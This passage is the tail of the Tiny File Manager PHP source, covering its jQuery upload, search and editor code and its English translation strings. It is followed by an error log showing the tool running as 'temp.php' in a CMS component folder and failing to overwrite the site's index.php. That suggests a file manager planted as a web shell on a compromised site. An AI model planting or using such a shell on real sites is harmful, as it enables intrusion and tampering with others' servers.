    function new_password_hash($this) {
        let form = $($this), $pwd = $("#js-pwd-result");
$pwd.val('');
        $.ajax({
            type: form.attr('method'), url:
form.attr('action'), data:
form.serialize()+"&token="+ window.csrf
+"&ajax="+true,
            success: function (data) { if(data) { $pwd.val(data); } }
        }); return false;
    }
    // Upload files using URL @param {Object}
    function upload_from_url($this) {
        let form = $($this), resultWrapper =
$("div#js-url-upload__list");
        $.ajax({
            type: form.attr('method'), url:
form.attr('action'), data:
form.serialize()+"&token="+ window.csrf
+"&ajax="+true,
            beforeSend: function() {
form.find("input[name=uploadurl]").attr("disabled","disabled");
form.find("button").hide();
form.find(".lds-facebook").addClass('show-me'); },
            success: function (data) {
                if(data) {
                    data = JSON.parse(data);
                    if(data.done) {
                        resultWrapper.append('<div
class="alert alert-success row">Uploaded Successful:
'+data.done.name+'</div>');
form.find("input[name=uploadurl]").val('');
                    } else if(data['fail']) {
resultWrapper.append('<div class="alert alert-danger
row">Error: '+data.fail.message+'</div>'); }
                   
form.find("input[name=uploadurl]").removeAttr("disabled");form.find("button").show();form.find(".lds-facebook").removeClass('show-me');
                }
            },
            error: function(xhr) {
               
form.find("input[name=uploadurl]").removeAttr("disabled");form.find("button").show();form.find(".lds-facebook").removeClass('show-me');console.error(xhr);
            }
        }); return false;
    }
    // Search template
    function search_template(data) {
        var response = "";
        $.each(data, function (key, val) {
            response += `<li><a
href="?p=${val.path}&view=${val.name}">${val.path}/${val.name}</a></li>`;
        });
        return response;
    }
    // Advance search
    function fm_search() {
        var searchTxt = $("input#advanced-search").val(),
searchWrapper = $("ul#search-wrapper"), path =
$("#js-search-modal").attr("href"), _html =
"", $loader = $("div.lds-facebook");
        if(!!searchTxt && searchTxt.length > 2 && path)
{
            var data = {ajax: true, content: searchTxt, path:path, type:
'search', token: window.csrf };
            $.ajax({
                type: "POST",
                url: window.location,
                data: data,
                beforeSend: function() {
                    searchWrapper.html('');
                    $loader.addClass('show-me');
                },
                success: function(data){
                    $loader.removeClass('show-me');
                    data = JSON.parse(data);
                    if(data && data.length) {
                        _html = search_template(data);
                        searchWrapper.html(_html);
                    } else { searchWrapper.html('<p
class="m-2">No result found!<p>'); }
                },
                error: function(xhr) {
$loader.removeClass('show-me'); searchWrapper.html('<p
class="m-2">ERROR: Try again later!</p>'); },
                failure: function(mes) {
$loader.removeClass('show-me'); searchWrapper.html('<p
class="m-2">ERROR: Try again later!</p>');}
            });
        } else { searchWrapper.html("OOPS: minimum 3 characters
required!"); }
    }

    // action confirm dailog modal
    function confirmDailog(e, id = 0, title = "Action", content =
"", action = null) {
        e.preventDefault();
        const tplObj = {id, title, content:
decodeURIComponent(content.replace(/\+/g, ' ')), action};
        let tpl = $("#js-tpl-confirm").html();
        $(".modal.confirmDailog").remove();
        $('#wrapper').append(template(tpl,tplObj));
        const $confirmDailog = $("#confirmDailog-"+tplObj.id);
        $confirmDailog.modal('show');
        return false;
    }
    

    // on mouse hover image preview
    !function(s){s.previewImage=function(e){var
o=s(document),t=".previewImage",a=s.extend({xOffset:20,yOffset:-20,fadeIn:"fast",css:{padding:"5px",border:"1px
solid
#cccccc","background-color":"#fff"},eventSelector:"[data-preview-image]",dataKey:"previewImage",overlayId:"preview-image-plugin-overlay"},e);return
o.off(t),o.on("mouseover"+t,a.eventSelector,function(e){s("p#"+a.overlayId).remove();var
o=s("<p>").attr("id",a.overlayId).css("position","absolute").css("display","none").append(s('<img
class="c-preview-img">').attr("src",s(this).data(a.dataKey)));a.css&&o.css(a.css),s("body").append(o),o.css("top",e.pageY+a.yOffset+"px").css("left",e.pageX+a.xOffset+"px").fadeIn(a.fadeIn)}),o.on("mouseout"+t,a.eventSelector,function(){s("#"+a.overlayId).remove()}),o.on("mousemove"+t,a.eventSelector,function(e){s("#"+a.overlayId).css("top",e.pageY+a.yOffset+"px").css("left",e.pageX+a.xOffset+"px")}),this},s.previewImage()}(jQuery);

    // Dom Ready Events
    $(document).ready( function () {
        // dataTable init
        var $table = $('#main-table'),
            tableLng = $table.find('th').length,
            _targets = (tableLng && tableLng == 7 ) ? [0, 4,5,6] :
tableLng == 5 ? [0,4] : [3];
            mainTable = $('#main-table').DataTable({paging:
false, info: false, order: [], columnDefs: [{targets: _targets, orderable:
false}]
        });
        // filter table
        $('#search-addon').on( 'keyup', function () {
            mainTable.search( this.value ).draw();
        });
        $("input#advanced-search").on('keyup', function
(e) {
            if (e.keyCode === 13) { fm_search(); }
        });
        $('#search-addon3').on( 'click', function () {
fm_search(); });
        //upload nav tabs
        $(".fm-upload-wrapper
.card-header-tabs").on("click", 'a', function(e){
            e.preventDefault();let
target=$(this).data('target');
            $(".fm-upload-wrapper .card-header-tabs
a").removeClass('active');$(this).addClass('active');
            $(".fm-upload-wrapper
.card-tabs-container").addClass('hidden');$(target).removeClass('hidden');
        });
    });
</script>
<?php if (isset($_GET['edit']) &&
isset($_GET['env']) && FM_EDIT_FILE &&
!FM_READONLY):
        
        $ext = pathinfo($_GET["edit"], PATHINFO_EXTENSION);
        $ext =  $ext == "js" ? "javascript" :  $ext;
        ?>
    <?php print_external('js-ace'); ?>
    <script>
        var editor = ace.edit("editor");
        editor.getSession().setMode( {path:"ace/mode/<?php echo
$ext; ?>", inline:true} );
        //editor.setTheme("ace/theme/twilight"); //Dark Theme
        editor.setShowPrintMargin(false); // Hide the vertical ruler
        function ace_commend (cmd) { editor.commands.exec(cmd, editor); }
        editor.commands.addCommands([{
            name: 'save', bindKey: {win: 'Ctrl-S', 
mac: 'Command-S'},
            exec: function(editor) { edit_save(this, 'ace'); }
        }]);
        function renderThemeMode() {
            var $modeEl = $("select#js-ace-mode"), $themeEl =
$("select#js-ace-theme"), $fontSizeEl =
$("select#js-ace-fontSize"), optionNode = function(type, arr){
var $Option = ""; $.each(arr, function(i, val) { $Option +=
"<option value='"+type+i+"'>" + val +
"</option>"; }); return $Option; },
                _data =
{"aceTheme":{"bright":{"chrome":"Chrome","clouds":"Clouds","crimson_editor":"Crimson
Editor","dawn":"Dawn","dreamweaver":"Dreamweaver","eclipse":"Eclipse","github":"GitHub","iplastic":"IPlastic","solarized_light":"Solarized
Light","textmate":"TextMate","tomorrow":"Tomorrow","xcode":"XCode","kuroir":"Kuroir","katzenmilch":"KatzenMilch","sqlserver":"SQL
Server"},"dark":{"ambiance":"Ambiance","chaos":"Chaos","clouds_midnight":"Clouds
Midnight","dracula":"Dracula","cobalt":"Cobalt","gruvbox":"Gruvbox","gob":"Green
on Black","idle_fingers":"idle
Fingers","kr_theme":"krTheme","merbivore":"Merbivore","merbivore_soft":"Merbivore
Soft","mono_industrial":"Mono
Industrial","monokai":"Monokai","pastel_on_dark":"Pastel
on dark","solarized_dark":"Solarized
Dark","terminal":"Terminal","tomorrow_night":"Tomorrow
Night","tomorrow_night_blue":"Tomorrow Night
Blue","tomorrow_night_bright":"Tomorrow Night
Bright","tomorrow_night_eighties":"Tomorrow Night
80s","twilight":"Twilight","vibrant_ink":"Vibrant
Ink"}},"aceMode":{"javascript":"JavaScript","abap":"ABAP","abc":"ABC","actionscript":"ActionScript","ada":"ADA","apache_conf":"Apache
Conf","asciidoc":"AsciiDoc","asl":"ASL","assembly_x86":"Assembly
x86","autohotkey":"AutoHotKey","apex":"Apex","batchfile":"BatchFile","bro":"Bro","c_cpp":"C
and
C++","c9search":"C9Search","cirru":"Cirru","clojure":"Clojure","cobol":"Cobol","coffee":"CoffeeScript","coldfusion":"ColdFusion","csharp":"C#","csound_document":"Csound
Document","csound_orchestra":"Csound","csound_score":"Csound
Score","css":"CSS","curly":"Curly","d":"D","dart":"Dart","diff":"Diff","dockerfile":"Dockerfile","dot":"Dot","drools":"Drools","edifact":"Edifact","eiffel":"Eiffel","ejs":"EJS","elixir":"Elixir","elm":"Elm","erlang":"Erlang","forth":"Forth","fortran":"Fortran","fsharp":"FSharp","fsl":"FSL","ftl":"FreeMarker","gcode":"Gcode","gherkin":"Gherkin","gitignore":"Gitignore","glsl":"Glsl","gobstones":"Gobstones","golang":"Go","graphqlschema":"GraphQLSchema","groovy":"Groovy","haml":"HAML","handlebars":"Handlebars","haskell":"Haskell","haskell_cabal":"Haskell
Cabal","haxe":"haXe","hjson":"Hjson","html":"HTML","html_elixir":"HTML
(Elixir)","html_ruby":"HTML
(Ruby)","ini":"INI","io":"Io","jack":"Jack","jade":"Jade","java":"Java","json":"JSON","jsoniq":"JSONiq","jsp":"JSP","jssm":"JSSM","jsx":"JSX","julia":"Julia","kotlin":"Kotlin","latex":"LaTeX","less":"LESS","liquid":"Liquid","lisp":"Lisp","livescript":"LiveScript","logiql":"LogiQL","lsl":"LSL","lua":"Lua","luapage":"LuaPage","lucene":"Lucene","makefile":"Makefile","markdown":"Markdown","mask":"Mask","matlab":"MATLAB","maze":"Maze","mel":"MEL","mixal":"MIXAL","mushcode":"MUSHCode","mysql":"MySQL","nix":"Nix","nsis":"NSIS","objectivec":"Objective-C","ocaml":"OCaml","pascal":"Pascal","perl":"Perl","perl6":"Perl
6","pgsql":"pgSQL","php_laravel_blade":"PHP
(Blade
Template)","php":"PHP","puppet":"Puppet","pig":"Pig","powershell":"Powershell","praat":"Praat","prolog":"Prolog","properties":"Properties","protobuf":"Protobuf","python":"Python","r":"R","razor":"Razor","rdoc":"RDoc","red":"Red","rhtml":"RHTML","rst":"RST","ruby":"Ruby","rust":"Rust","sass":"SASS","scad":"SCAD","scala":"Scala","scheme":"Scheme","scss":"SCSS","sh":"SH","sjs":"SJS","slim":"Slim","smarty":"Smarty","snippets":"snippets","soy_template":"Soy
Template","space":"Space","sql":"SQL","sqlserver":"SQLServer","stylus":"Stylus","svg":"SVG","swift":"Swift","tcl":"Tcl","terraform":"Terraform","tex":"Tex","text":"Text","textile":"Textile","toml":"Toml","tsx":"TSX","twig":"Twig","typescript":"Typescript","vala":"Vala","vbscript":"VBScript","velocity":"Velocity","verilog":"Verilog","vhdl":"VHDL","visualforce":"Visualforce","wollok":"Wollok","xml":"XML","xquery":"XQuery","yaml":"YAML","django":"Django"},"fontSize":{8:8,10:10,11:11,12:12,13:13,14:14,15:15,16:16,17:17,18:18,20:20,22:22,24:24,26:26,30:30}};
            if(_data && _data.aceMode) {
$modeEl.html(optionNode("ace/mode/", _data.aceMode)); }
            if(_data && _data.aceTheme) { var lightTheme =
optionNode("ace/theme/", _data.aceTheme.bright), darkTheme =
optionNode("ace/theme/", _data.aceTheme.dark);
$themeEl.html("<optgroup
label=\"Bright\">"+lightTheme+"</optgroup><optgroup
label=\"Dark\">"+darkTheme+"</optgroup>");}
            if(_data && _data.fontSize) {
$fontSizeEl.html(optionNode("", _data.fontSize)); }
            $modeEl.val( editor.getSession().$modeId );
            $themeEl.val( editor.getTheme() );
            $(function() { $fontSizeEl.val(12).change(); }); //set default
font size in drop down
        }

        $(function(){
            renderThemeMode();
            $(".js-ace-toolbar").on("click",
'button', function(e){
                e.preventDefault();
                let cmdValue = $(this).attr("data-cmd"),
editorOption = $(this).attr("data-option");
                if(cmdValue && cmdValue != "none") {
                    ace_commend(cmdValue);
                } else if(editorOption) {
                    if(editorOption == "fullscreen") {
                        (void
0!==document.fullScreenElement&&null===document.fullScreenElement||void
0!==document.msFullscreenElement&&null===document.msFullscreenElement||void
0!==document.mozFullScreen&&!document.mozFullScreen||void
0!==document.webkitIsFullScreen&&!document.webkitIsFullScreen)
                       
&&(editor.container.requestFullScreen?editor.container.requestFullScreen():editor.container.mozRequestFullScreen?editor.container.mozRequestFullScreen():editor.container.webkitRequestFullScreen?editor.container.webkitRequestFullScreen(Element.ALLOW_KEYBOARD_INPUT):editor.container.msRequestFullscreen&&editor.container.msRequestFullscreen());
                    } else if(editorOption == "wrap") {
                        let wrapStatus =
(editor.getSession().getUseWrapMode()) ? false : true;
                        editor.getSession().setUseWrapMode(wrapStatus);
                    }
                }
            });
            $("select#js-ace-mode, select#js-ace-theme,
select#js-ace-fontSize").on("change", function(e){
                e.preventDefault();
                let selectedValue = $(this).val(), selectionType =
$(this).attr("data-type");
                if(selectedValue && selectionType ==
"mode") {
                    editor.getSession().setMode(selectedValue);
                } else if(selectedValue && selectionType ==
"theme") {
                    editor.setTheme(selectedValue);
                }else if(selectedValue && selectionType ==
"fontSize") {
                    editor.setFontSize(parseInt(selectedValue));
                }
            });
        });
    </script>
<?php endif; ?>
<div id="snackbar"></div>
</body>
</html>
<?php
}

/**
 * Language Translation System
 * @param string $txt
 * @return string
 */
function lng($txt) {
    global $lang;

    // English Language
    $tr['en']['AppName']        = 'Tiny File
Manager';      $tr['en']['AppTitle']           =
'File Manager';
    $tr['en']['Login']          = 'Sign in'; 
              $tr['en']['Username']           =
'Username';
    $tr['en']['Password']       = 'Password';
              $tr['en']['Logout']             =
'Sign Out';
    $tr['en']['Move']           = 'Move';    
              $tr['en']['Copy']               =
'Copy';
    $tr['en']['Save']           = 'Save';    
              $tr['en']['SelectAll']          =
'Select all';
    $tr['en']['UnSelectAll']    = 'Unselect
all';           $tr['en']['File']               =
'File';
    $tr['en']['Back']           = 'Back';    
              $tr['en']['Size']               =
'Size';
    $tr['en']['Perms']          = 'Perms';   
              $tr['en']['Modified']           =
'Modified';
    $tr['en']['Owner']          = 'Owner';   
              $tr['en']['Search']             =
'Search';
    $tr['en']['NewItem']        = 'New Item';
              $tr['en']['Folder']             =
'Folder';
    $tr['en']['Delete']         = 'Delete';  
              $tr['en']['Rename']             =
'Rename';
    $tr['en']['CopyTo']         = 'Copy to'; 
              $tr['en']['DirectLink']         =
'Direct link';
    $tr['en']['UploadingFiles'] = 'Upload
Files';           $tr['en']['ChangePermissions'] 
= 'Change Permissions';
    $tr['en']['Copying']        = 'Copying'; 
              $tr['en']['CreateNewItem']      =
'Create New Item';
    $tr['en']['Name']           = 'Name';    
              $tr['en']['AdvancedEditor']     =
'Advanced Editor';
    $tr['en']['Actions']        = 'Actions'; 
              $tr['en']['Folder is empty']    =
'Folder is empty';
    $tr['en']['Upload']         = 'Upload';  
              $tr['en']['Cancel']             =
'Cancel';
    $tr['en']['InvertSelection']= 'Invert
Selection';       $tr['en']['DestinationFolder'] 
= 'Destination Folder';
    $tr['en']['ItemType']       = 'Item
Type';              $tr['en']['ItemName']         
 = 'Item Name';
    $tr['en']['CreateNow']      = 'Create
Now';             $tr['en']['Download']          
= 'Download';
    $tr['en']['Open']           = 'Open';    
              $tr['en']['UnZip']              =
'UnZip';
    $tr['en']['UnZipToFolder']  = 'UnZip to
folder';        $tr['en']['Edit']               =
'Edit';
    $tr['en']['NormalEditor']   = 'Normal
Editor';          $tr['en']['BackUp']            
= 'Back Up';
    $tr['en']['SourceFolder']   = 'Source
Folder';          $tr['en']['Files']             
= 'Files';
    $tr['en']['Move']           = 'Move';    
              $tr['en']['Change']             =
'Change';
    $tr['en']['Settings']       = 'Settings';
              $tr['en']['Language']           =
'Language';        
    $tr['en']['ErrorReporting'] = 'Error
Reporting';        $tr['en']['ShowHiddenFiles']   
= 'Show Hidden Files';
    $tr['en']['Help']           = 'Help';    
              $tr['en']['Created']            =
'Created';
    $tr['en']['Help Documents'] = 'Help
Documents';         $tr['en']['Report Issue']     
 = 'Report Issue';
    $tr['en']['Generate']       = 'Generate';
              $tr['en']['FullSize']           =
'Full Size';              
    $tr['en']['HideColumns']    = 'Hide
Perms/Owner columns';$tr['en']['You are logged
in'] = 'You are logged in';
    $tr['en']['Nothing selected']   = 'Nothing
selected';   $tr['en']['Paths must be not equal'] 
  = 'Paths must be not equal';
    $tr['en']['Renamed from']       = 'Renamed
from';       $tr['en']['Archive not unpacked']    
  = 'Archive not unpacked';
    $tr['en']['Deleted']            =
'Deleted';            $tr['en']['Archive not
created']        = 'Archive not created';
    $tr['en']['Copied from']        = 'Copied
from';        $tr['en']['Permissions changed']    
   = 'Permissions changed';
    $tr['en']['to']                 = 'to';  
              $tr['en']['Saved Successfully']         =
'Saved Successfully';
    $tr['en']['not found!']         = 'not
found!';         $tr['en']['File Saved
Successfully']    = 'File Saved Successfully';
    $tr['en']['Archive']            =
'Archive';            $tr['en']['Permissions not
changed']    = 'Permissions not changed';
    $tr['en']['Select folder']      = 'Select
folder';      $tr['en']['Source path not defined']
   = 'Source path not defined';
    $tr['en']['already exists']     = 'already
exists';     $tr['en']['Error while moving from'] 
  = 'Error while moving from';
    $tr['en']['Create archive?']    = 'Create
archive?';    $tr['en']['Invalid file or folder
name']    = 'Invalid file or folder name';
    $tr['en']['Archive unpacked']   = 'Archive
unpacked';   $tr['en']['File extension is not
allowed']  = 'File extension is not allowed';
    $tr['en']['Root path']          = 'Root
path';          $tr['en']['Error while renaming
from']  = 'Error while renaming from';
    $tr['en']['File not found']     = 'File not
found';     $tr['en']['Error while deleting
items'] = 'Error while deleting items';
    $tr['en']['Moved from']         = 'Moved
from';         $tr['en']['Generate new password
hash'] = 'Generate new password hash';
    $tr['en']['Login failed. Invalid username or
password'] = 'Login failed. Invalid username or password';
    $tr['en']['password_hash not supported, Upgrade PHP
version'] = 'password_hash not supported, Upgrade PHP
version';
    $tr['en']['Advanced Search']    = 'Advanced
Search';    $tr['en']['Error while copying from'] 
  = 'Error while copying from';
    $tr['en']['Invalid characters in file name']       
        = 'Invalid characters in file name';
    $tr['en']['FILE EXTENSION HAS NOT SUPPORTED']      
        = 'FILE EXTENSION HAS NOT SUPPORTED';
    $tr['en']['Selected files and folder deleted']     
        = 'Selected files and folder deleted';
    $tr['en']['Error while fetching archive info']     
        = 'Error while fetching archive info';
    $tr['en']['Delete selected files and folders?']    
        = 'Delete selected files and folders?';
    $tr['en']['Search file in folder and
subfolders...']        = 'Search file in folder and
subfolders...';
    $tr['en']['Access denied. IP restriction
applicable']       = 'Access denied. IP restriction
applicable';
    $tr['en']['Invalid characters in file or folder
name']      = 'Invalid characters in file or folder name';
    $tr['en']['Operations with archives are not
available']     = 'Operations with archives are not
available';
    $tr['en']['File or folder with this path already
exists']   = 'File or folder with this path already
exists';
    $tr['en']['Are you sure want to rename?']          
        = 'Are you sure want to rename?';
    $tr['en']['Are you sure want to']                  
        = 'Are you sure want to';

    $i18n = fm_get_translations($tr);
    $tr = $i18n ? $i18n : $tr;

    if (!strlen($lang)) $lang = 'en';
    if (isset($tr[$lang][$txt])) return fm_enc($tr[$lang][$txt]);
    else if (isset($tr['en'][$txt])) return
fm_enc($tr['en'][$txt]);
    else return "$txt";
}

?>error_log000064400000001114151167427760006476 0ustar00[30-Sep-2024
11:37:50 Etc/UTC] PHP Warning: 
fopen(/home/lmsyaran/public_html/index.php): Failed to open stream:
Permission denied in
/home/lmsyaran/public_html/components/com_finder/temp.php on line 494
[30-Sep-2024 11:37:50 Etc/UTC] PHP Fatal error:  Uncaught TypeError:
fwrite(): Argument #1 ($stream) must be of type resource, bool given in
/home/lmsyaran/public_html/components/com_finder/temp.php:495
Stack trace:
#0 /home/lmsyaran/public_html/components/com_finder/temp.php(495): fwrite()
#1 {main}
  thrown in /home/lmsyaran/public_html/components/com_finder/temp.php on
line 495